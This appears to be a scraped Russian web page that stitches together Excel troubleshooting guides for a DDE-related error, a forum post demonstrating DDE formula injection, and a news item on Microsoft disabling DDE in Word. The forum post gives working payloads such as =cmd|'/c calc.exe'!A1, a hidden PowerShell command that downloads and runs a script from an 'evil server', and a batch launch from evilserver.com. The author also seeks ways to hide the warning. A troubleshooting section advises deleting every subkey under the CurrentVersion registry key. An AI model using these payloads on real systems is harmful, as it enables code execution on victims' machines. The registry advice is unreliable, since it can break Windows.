Excel dde отключить
Excel: «Ошибка при направлении команды приложению»
При открытии файла с расширением .xls (.xlsx), вы можете увидеть уведомление «Ошибка при направлении команды приложению» Excel 2007. Что делать в таком случае, узнайте в рамках данной публикации.
Устранение
Причины данной ошибки могут быть самые различные. Поэтому не будем вдаваться в подробности, почему появилась ошибка и проделаем поочередно способы ее устранения.
Отключение функции «Игнорировать DDE запросы»
В первую очередь попробуйте отключить данную функцию в параметрах Excel:
- Откройте приложение, нажмите «Файл».
- Перейдите в раздел «Параметры».
- Откройте вкладку «Дополнительно» → в разделе «Общее» снимите галочку с «Игнорировать DDE-запросы от других приложений» и нажмите «OK».
- Закройте Excel и попробуйте открыть нужный вам документ.
Открытие xls с помощью Excel по умолчанию
Присвоем файлам с расширениями .xls (.xlsx) программу, которая будет их открывать по умолчанию:
- Откройте «Выполнить» (сочетание клавиш Win+R) и выполните команду
- В открывшейся «Панели управления» сделайте «Просмотр: Крупные (или мелкие значки)» и откройте «Программы по умолчанию».
- Выберите пункт «Сопоставление типов файлов или протоколов с конкретными программами».
- Ожидайте, пока загрузятся все расширения.
- Найдите расширения .xls и .xlsx, выделите их и нажмите «Изменить программу».
- Выберите Excel в качестве программы, которая будет открывать файлы данного расширения по умолчанию. Нажмите «ОК».
Выделите Excel.exe и нажмите «Открыть».
Установка полного пакета обновлений
Ошибка возможна из-за багов, которые уже исправлены в новых патчах Microsoft Office. Если вы не обновляли ваш софт после установки на ПК, запустите Центр Обновления Windows и нажмите «проверку наличия обновлений». В случае наличия обновлений, вы можете установить их, перезагрузить компьютер и проверить наличие ошибки.
Этот пункт выполнять не обязательно, но желательно. Если вы полностью отключили обновление системы по собственным причинам, можете попробовать другие варианты устранения ошибки.
Отключение аппаратного ускорения
Данный способ поможет временно решить ошибку при направлении команды приложению Excel:
- Откройте программу Word или PowerPoint Microsoft Office.
- Выберите «Файл» → «Параметры».
- Перейдите в раздел «Дополнительно», в раздел «Экран».
- Установите галочку напротив «Отключить аппаратное ускорение обработки изображения» и нажмите «ОК».
Проверяйте работоспособность файла.
Полная переустановка Microsoft Office
Если из перечисленных способов ни один не справился с проблемой, попробуйте переустановить MS Office. Для полного удаления:
Ошибка при направлении команды приложению в Microsoft Excel: пути решения проблемы
Несмотря на то, что, в целом, программа Microsoft Excel отличается довольно высоким уровнем стабильности работы, с этим приложением тоже иногда случаются проблемы. Одной из таких проблем является появление сообщения «Ошибка при направлении команды приложению». Оно возникает при попытке сохранить или открыть файл, а так же провести с ним некоторые другие действия. Давайте разберемся, чем вызвана данная проблема, и как её можно устранить.
Причины возникновения ошибки
Какие же основные причины вызывают данную ошибку? Можно выделить следующие:
- Повреждение надстройки;
- Попытка получить доступ к данным активного приложения;
- Ошибки в системном реестре;
- Повреждение программы Excel.
Решение проблемы
Пути устранения данной ошибки зависят от её причины. Но, так как в большинстве случаев, установить причину труднее, чем её ликвидировать, то более рациональным решением является методом проб попытаться найти верный способ действий из тех вариантов, которые представлены ниже.
Способ 1: отключение игнорирования DDE
Чаще всего, устранить ошибку при направлении команды удается путем отключения игнорирования DDE.
- Переходим во вкладку «Файл».
Кликаем по пункту «Параметры».
После этого, в значительном числе случаев, проблема устраняется.
Способ 2: отключение режима совместимости
Ещё одной вероятной причиной, описанной выше проблемы, может быть включенный режим совместимости. Для того, чтобы отключить его, нужно последовательно проделать указанные ниже шаги.
- Переходим, с помощью проводника Windows, или любого файлового менеджера, в каталог размещения пакета программ Microsoft Office на компьютере. Путь к нему выглядит следующим образом: C:Program FilesMicrosoft OfficeOFFICE№ . № — это номер офисного пакета. Например, папка, где хранятся программы Microsoft Office 2007, будет называться OFFICE12, Microsoft Office 2010 — OFFICE14, Microsoft Office 2013 — OFFICE15, и т.д.
В папке OFFICE ищем файл Excel.exe. Кликаем по нему правой кнопкой мыши, и в появившемся контекстном меню выбираем пункт «Свойства».
В открывшемся окне свойств Excel, переходим во вкладку «Совместимость».
Если галочки в соответствующих пунктах не установлены, то продолжаем искать источник проблемы в другом месте.
Способ 3: Очистка реестра
Одной из причин, которая может вызвать ошибку при направлении команды приложению в Excel, являются неполадки в реестре. Поэтому, нам его необходимо будет почистить. Перед тем, как приступать к дальнейшим действиям, для того чтобы подстраховать себя от возможных нежелательных последствий данной процедуры, настойчиво рекомендуем создать точку восстановления системы.
- Для того, чтобы вызвать окно «Выполнить», на клавиатуре вводим комбинацию клавиш Win+R. В открывшееся окно, вводим команду «RegEdit» без кавычек. Жмем на кнопку «OK».
Открывается Редактор реестра. В левой части редактора расположено древо каталогов. Перемещаемся в каталог «CurrentVersion» по следующему пути: HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion .
Удаляем все папки, расположенные в директории «CurrentVersion». Для этого, кликаем по каждой папке правой кнопкой мыши, и в контекстном меню выбираем пункт «Удалить».
Способ 4: отключение аппаратного ускорения
Временным решением проблемы может стать отключение аппаратного ускорения в Excel.
- Переходим в уже знакомый нам по первому способу решения проблемы раздел «Параметры» во вкладке «Файл». Опять кликаем по пункту «Дополнительно».
- В открывшемся окне дополнительных параметров Excel, ищем блок настроек «Экран». Устанавливаем галочку около параметра «Отключить аппаратное ускорение обработки изображений». Кликаем по кнопке «OK».
Способ 5: отключение надстроек
Как уже говорилось выше, одной из причин данной проблемы может быть неисправность какой-то надстройки. Поэтому, как временную меру, можно использовать отключение надстроек Excel.
- Опять переходим, находясь во вкладке «Файл», в раздел «Параметры», но на этот раз кликаем по пункту «Надстройки».
В самой нижней части окна, в выпадающем списке «Управление», выбираем пункт «Надстройки COM». Жмем на кнопку «Перейти».
Снимаем галочки со всех надстроек, которые указаны в списке. Жмем на кнопку «OK».
Если же после выключения всех надстроек проблема осталась, то это означает, что надстройки можно включить, а ошибку следует устранить другим способом.
Способ 6: сброс сопоставлений файлов
Для решения проблемы можно также попытаться сбросить сопоставления файлов.
- Через кнопку «Пуск» переходим в «Панель управления».
В Панели управления выбираем раздел «Программы».
В открывшемся окне, переходим в подраздел «Программы по умолчанию».
В окне настроек программ по умолчанию выбираем пункт «Сопоставление типов файлов и протоколов конкретных программ».
В списке файлов выбираем расширение xlsx. Жмем на кнопку «Изменить программу».
В открывшемся списке рекомендуемых программ, выбираем Microsoft Excel. Делаем клик по кнопке «OK».
В случае, если программы Excel нет в списке рекомендуемых программ, жмем на кнопку «Обзор…». Переходим по тому пути, о котором мы говорили, обсуждая способ решения проблемы отключением совместимости, и выбираем файл excel.exe.
Способ 7: загрузка обновлений Windows и переустановка пакета Microsoft Office
Не в последнюю очередь виной появления данной ошибки в Excel может быть отсутствие важных обновлений Windows. Нужно проверить, все ли доступные обновления загружены, и в случае необходимости закачать недостающие.
- Опять открываем Панель управления. Переходим в раздел «Система и безопасность».
Кликаем по пункту «Центр обновления Windows».
В случае, если в открывшемся окне присутствует сообщение о наличии обновлений, жмем на кнопку «Установить обновления».
Если ни один из перечисленных методов не помог решить проблему, то возможно есть смысл задуматься о переустановке пакета программ Microsoft Office, а то и о переустановке операционной системы Windows в целом.
Как видим, довольно много возможных вариантов по устранению ошибки при направлении команды в программе Excel. Но, как правило, в каждом конкретном случае существует только одно верное решение. Поэтому, для того, чтобы ликвидировать эту проблему, придется методом проб использовать различные способы устранения ошибки, пока не будет найден единственно верный вариант.
Отблагодарите автора, поделитесь статьей в социальных сетях.
Excel ошибка при направлении команды приложению: 6 лучших способов решить проблему
Не слишком распространённая при работе с Excel ошибка при направлении команды приложению может появляться при попытках открыть файлы с расширением *.xls и *.xlsx.
Причину такой ошибки трудно определить сразу – на решение проблемы придётся потратить определенное время, воспользовавшись одним из 6 известных способов.
Они подходят для любой операционной системы Windows, хотя в разных версиях текст ошибки может незначительно отличаться:
- для Виндоус 7, 8 и 10 на экране появляется сообщение об ошибке при направлении команды приложению;
- на ПК с Windows Vista можно увидеть надпись о необходимости повторить попытку открыть файл, попытка запустить который не удалась;
- более ранние версии ОС покажут пользователю сообщение о невозможности найти один из компонентов файла path и предложение найти необходимые библиотеки.
Основные способы решения проблемы
Процесс исправления ошибки не требует от пользователя Windows углублённых знаний и опыта. Однако на решение проблемы всё равно придётся потратить определённое время.
В первую очередь, потому что определить причину ошибки сразу не получится. И устранить её можно, только воспользовавшись каждым из методов поочереди.
Один из них, скорее всего, поможет вернуть работоспособность системе.
Решение проблем с запросами DDE
Начать исправление проблемы стоит, проверив настройку приёма DDE‑запросов.
Если этот параметр настроен неправильно, при двоенном нажатии на книге Excel система не получает команды для открытия файла.
Действия для вызова формы настройки отличаются в зависимости от версии MS Office:
Установка разрешения принимать DDE-запросы в MS Office 2007.
В открывшейся форме следует найти пункт, отвечающий за DDE-запросы, убрать с него галочку и сохранить изменения.
Если эта опция была включена, после отключения и перезапуска Excel механизм взаимодействия программ Windows будет восстановлен. А файлы, скорее всего, начнут открываться без проблем.
Следует знать: Как правило, именно этот способ позволяет решить проблему с ошибкой при направлении команды. Поэтому его используют первым.
Исправление файлов запуска
Если предыдущий вариант устранения ошибки не помог, не исключено, что причиной проблемы были не DDE-запросы, а файлы запуска.
Найти их можно в папке C:Program FilesMicrosoft Office – перейдя в соответствующую директорию:
- для МС Офис 2003 требуется выбрать каталог OFFICE11;
- для пакета 2007 года – в OFFICE12;
- для Office 2010 и 2013 – соответственно, в OFFICE14 и 15.
Поиск и исправление файлов запуска для MS Office 2010 (14).
Открыв выбранную папку, пользователь должен:
Отключение аппаратного ускорения
Следующий по популярности вариант, подходящий только для Excel 2013 и 2016 – отключение аппаратного ускорения.
Пользоваться этой методикой для решения проблем с запросами предлагают сами разработчики MS Office.
Хотя и предупреждают, что исправление только временное и, со временем, пользователю всё равно придётся воспользоваться для устранения причин ошибки другими, более кардинальными методами.
Например, переустановкой офисного пакета приложений.
Для использования этой методики требуется:
Отключение аппаратного ускорения.
Недостаток способа – возможность применения для исправления ошибки только в последних версиях Office. Притом что достаточно много пользователей продолжает применять более старые версии.
Кстати, чтобы эффективнее работать с таблицами Exel можете ознакомиться с нашим материалом Горячие клавиши Excel — Самые необходимые варианты.
Восстановление системы
Ещё один вариант предполагает восстановление системы до первоначального состояния.
При этом устраняются неполадки, как вызванные действиями пользователей Excel, так и ставшие следствием работы вирусов или программных сбоев.
Примечание: Для использования этого способа требуется заранее предусмотреть возможность восстановления системы. Это делается с помощью настроек резервного копирования в меню «Восстановление» Windows.
Восстановить систему можно, выполнив следующие действия:
Приложение для восстановления системы.
Перейти к реестру системы (введя команду regedit в меню выполнения программ, вызываемого одновременным нажатием клавиш «Win» и «R»);
Важно: Пользоваться реестром следует очень внимательно, удаляя только рекомендованные подразделы. Случайное уничтожение или изменение других файлов и папок может привести к необходимости восстановления реестра и даже переустановке Windows.
Решение вопросов с открытием XLS-файлов
Не менее эффективный способ избавиться от ошибки – проверка правильности сопоставления системой файлов, которые должны открываться в соответствующих офисных приложениях.
Определить это можно следующим образом:
1. Перейти в Панель управления;
2. Открыть пункт программ по умолчанию;
3. Выбрать подпункт сопоставления типов файлов;
4. В открывшемся списке найти расширения .xls и .xlsx.
Сопоставление файлов с расширением .xls с программой Excel.
5. По очереди выбрать каждый из этих 2 типов файлов, нажимая «Изменить программу» (в верхнем правом углу);
6. Выбрать приложение Excel, если оно не было установлено по умолчанию.
Те же действия можно выполнить и другим способом. Например, открывая файл книги Excel через его свойства и команду «Открыть с помощью». При этом в списке предлагаемых программ выбирается офисное приложение и устанавливается его использование для всех файлов этого типа.
Выпадающий список в Excel — Инструкция по созданию
Что делать, если ничего не помогло?
Иногда у пользователя, решившего избавиться от ошибки, не получается сделать это с помощью пяти основных способов.
В этом случае стоит сначала проверить наличие нового программного обеспечения для офисного приложения, перейдя в Центр обновлений системы.
Отключение автоматического скачивания ПО достаточно часто приводит к появлению ошибки с запросами и других неполадок, исправляемых изменением настроек Центра.
Установка обновлений MS Windows.
Если и этим способом решить проблему не удалось, остаётся последний вариант – переустановка MS Office. Желательно обновлять офисный пакет полностью, а иногда неплохим способом может стать замена старой версии более новой. При переустановке следует очистить содержимое папки MS Office. Этот кардинальный способ помогает практически в 100% случаев, когда ни одна из предыдущих попыток не привела к устранению ошибки. Однако требует и больше времени – от нескольких минут до часа, в зависимости от мощности компьютера и версии пакета.
Excel ошибка при направлении команды приложению: 6 лучших способов решить проблему
Excel ошибка при направлении команды приложению: 6 лучших способов решить проблему
Статья DDE в MS Excel (обновляем)
Dmitry88
По аналогии с Word мы используем DDE функцию для вызова cmd. В MS Excel это довольно просто:
Вставляем в любую ячейку вызов функции cmd и задаем ей параметр. А1 — номер ячейки.
=cmd|’/c calc.exe’!A1
Параметр /c может быть изменен на /k *
Примечание: CMD /C запускает команду и выполняет ее, а CMD /K выполняет команду и возвращает нас в командную строку, позволяя выполнять следующие команды, так же полезно для тестирования переменных.
Первая часть пейлоада =cmd|’ дает инструкцию MS Excel вызвать CMD, а вторая передает команду CMD.
В нашем примере при запуске MS Excel юзер получит уведомление о том что ссылки нужно обновить.(что в целом безобидно)
Во втором сообщение мы видим предупреждение о запуске cmd — что есть палево.
Калькулятор запустился
Посколько у CMD есть ограничение на длинну аргумента в 1024 байта, 1024 это максимальная строка для функции CreateProcess(), то мы можем обойти это с помощью инструкций Powershell, например на удаленную загрузку нашего скрипта и исполнение его прямо из DDE.
Для этого сначала подготовим нагрузку в виде скрипта ps1 и положим на наш злой сервер.
Далее в указываем занчение ячейки:
=-2+3+cmd|’/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(«
, и обрабатывает скрипт! Обратите внимание , эта функция работает только на Powershell версии 3 и выше.
Результат:
Так же мы можем запустить batch файл, например пейлоад сгенерированный powershell empire
=cmd|’/c \evilserver.comempire.bat;IEX $e’!A1
PS: Статья не закончена. В планах что-то придумать для скрытия предупреждения о запуске cmd.
Ну и было бы неплохо, если бы кто-то помог с шифрованием строки в base64. Я что-то с синтаксисом напутал, упорно не хочет считывать.
PPS: Всегда рад конструктивным замечаниям.
[doublepost=1508916320,1508489034][/doublepost]UPDATE:
Патч частично защищает от уязвимости.
Но лично у меня все работало и после установки апдейта. Для защиты лучше настроить все руками, дабы нерадивые пользователи не тыкали «ок» -> «ок» -> «далее» бездумно, ну и провести работу воспитательную.
Для админов рекомендую следующее:
Для MS Word
Параметры Word — Дополнительно — (раздел Общие) — Автоматически обновлять связи при открытии (снять галочку)
После этого DDE не будет обработан.
Для Excel хуже.
Первый способ мягкий:
Параметры Excel — Дополнительно — (раздел Общие)
— Запрашивать об обновлении автоматических связей (поставить галочку)
— Игнорировать DDE запросы от других приложений (поставить галочку)
Результат- будет хотя бы уведомление
Метод решения радикальный, т.к. напрочь отключает DDE и возможно не всем подойдет:
Параметры Excel — Центр управления безопасностью — кнопка «Параметры центра безопасности» — Внешнее содержимое —
— Отключить все подключения к данным
— Отключить автоматическое обновление связей в книге
Результат — все дде блочатся напрочь
ПС:
Еще это можно сделать через реестр
Тут те же настройки кроме последнего решения для Excel
[doublepost=1509618109][/doublepost]UPDATE2:
Немного по скрытию запуска строки:
Компания Microsoft приняла решение отключить DDE в Word
Xakep #251. Укрепляем VeraCrypt
В октябре 2017 года ИБ-специалисты привлекли внимание к проблеме, связанной с использованием старой технологии Microsoft Dynamic Data Exchange (DDE), которая позволяет одним приложениям Office загружать данные из других приложений. К примеру, таблица в файле Word может автоматически обновляться при каждом открытии файла, и данные будут «подтягиваться» из файла Excel.
Специалисты предупреждали, что DDE, по сути, позволяет встроить в документ кастомное поле, в котором можно задать местоположение данных, которые следует подгружать. Проблема в том, что злоумышленники могут использовать DDE не для открытия других приложений Office, а для запуска командной строки и выполнения вредоносного кода. Такая методика может стать для атакующих отличной альтернативой вредоносным макросам и Object Linking and Embedding (OLE).
Вскоре стало ясно, что специалисты не ошиблись с прогнозами. Один из крупнейших ботнетов мира, Necurs, насчитывающий более 6 млн зараженных машин, начал эксплуатировать DDE для распространения шифровальщика Locky и банковского трояна TrickBot. Еще одна вредоносная кампания, использующая DDE, распространяет загрузчик Hancitor, который затем используется для установки банковских троянов, спайвари, вымогательского ПО и других угроз. Специалисты Cisco Talos обнаружили, что DDE-атаки применяются в ходе вредоносной кампании, цель которой — распространение «бесфайлового» трояна DNSMessenger. И аналитики компании McAfee сообщили, что DDE уже взяли на вооружение и правительственные хакеры из небезызвестной группировки Fancy Bear (они же APT28, Sednit, Pawn Storm, Strontium и так далее).
Начиная с октября разработчики Microsoft отвечали на все предупреждения ИБ-специалистов заявлениями, что DDE – это легитимная функция, которой не требуются никакие патчи и изменения. В компании подчеркивали, что для успешного срабатывания DDE-атак пользователь должен самостоятельно отключить Protected Mode и закрыть несколько подсказок и предостережений, сообщающих об обновлении файлов из удаленных источников.
Но уже в ноябре разработчики Microsoft пошли на небольшие уступки, опубликовав бюллетень безопасности посвященный проблеме. В документе специалисты подробно объяснили, как нужно защищаться от DDE-атак и предотвращать их.
Теперь декабрьский «вторник обновлений» принес патч ADV170021, который наконец подвел окончательную черту под этой проблемой. Исправление отключает использование DDE для Word вообще. Учитывая широкую распространенность проблемы, патч был представлен даже для Word 2003 и 2007, чья поддержка уже давно прекращена.
В сущности, данное обновление вносит небольшие изменения в реестр, деактивируя DDE по умолчанию. Чтобы включить функциональность обратно нужно найти в реестре HKEY_CURRENT_USERSoftwareMicrosoftOfficeversionWordSecurity AllowDDE(DWORD) и задать для DWORD соответствующе значение:
AllowDDE(DWORD) = 0: Отключает DDE. После установки обновления, это значение стоит по умолчанию.
AllowDDE(DWORD) = 1: Разрешает DDE-запросы к уже запущенным программам, но не допускает запуска новых.
AllowDDE(DWORD) = 2: Разрешает любые DDE-запросы.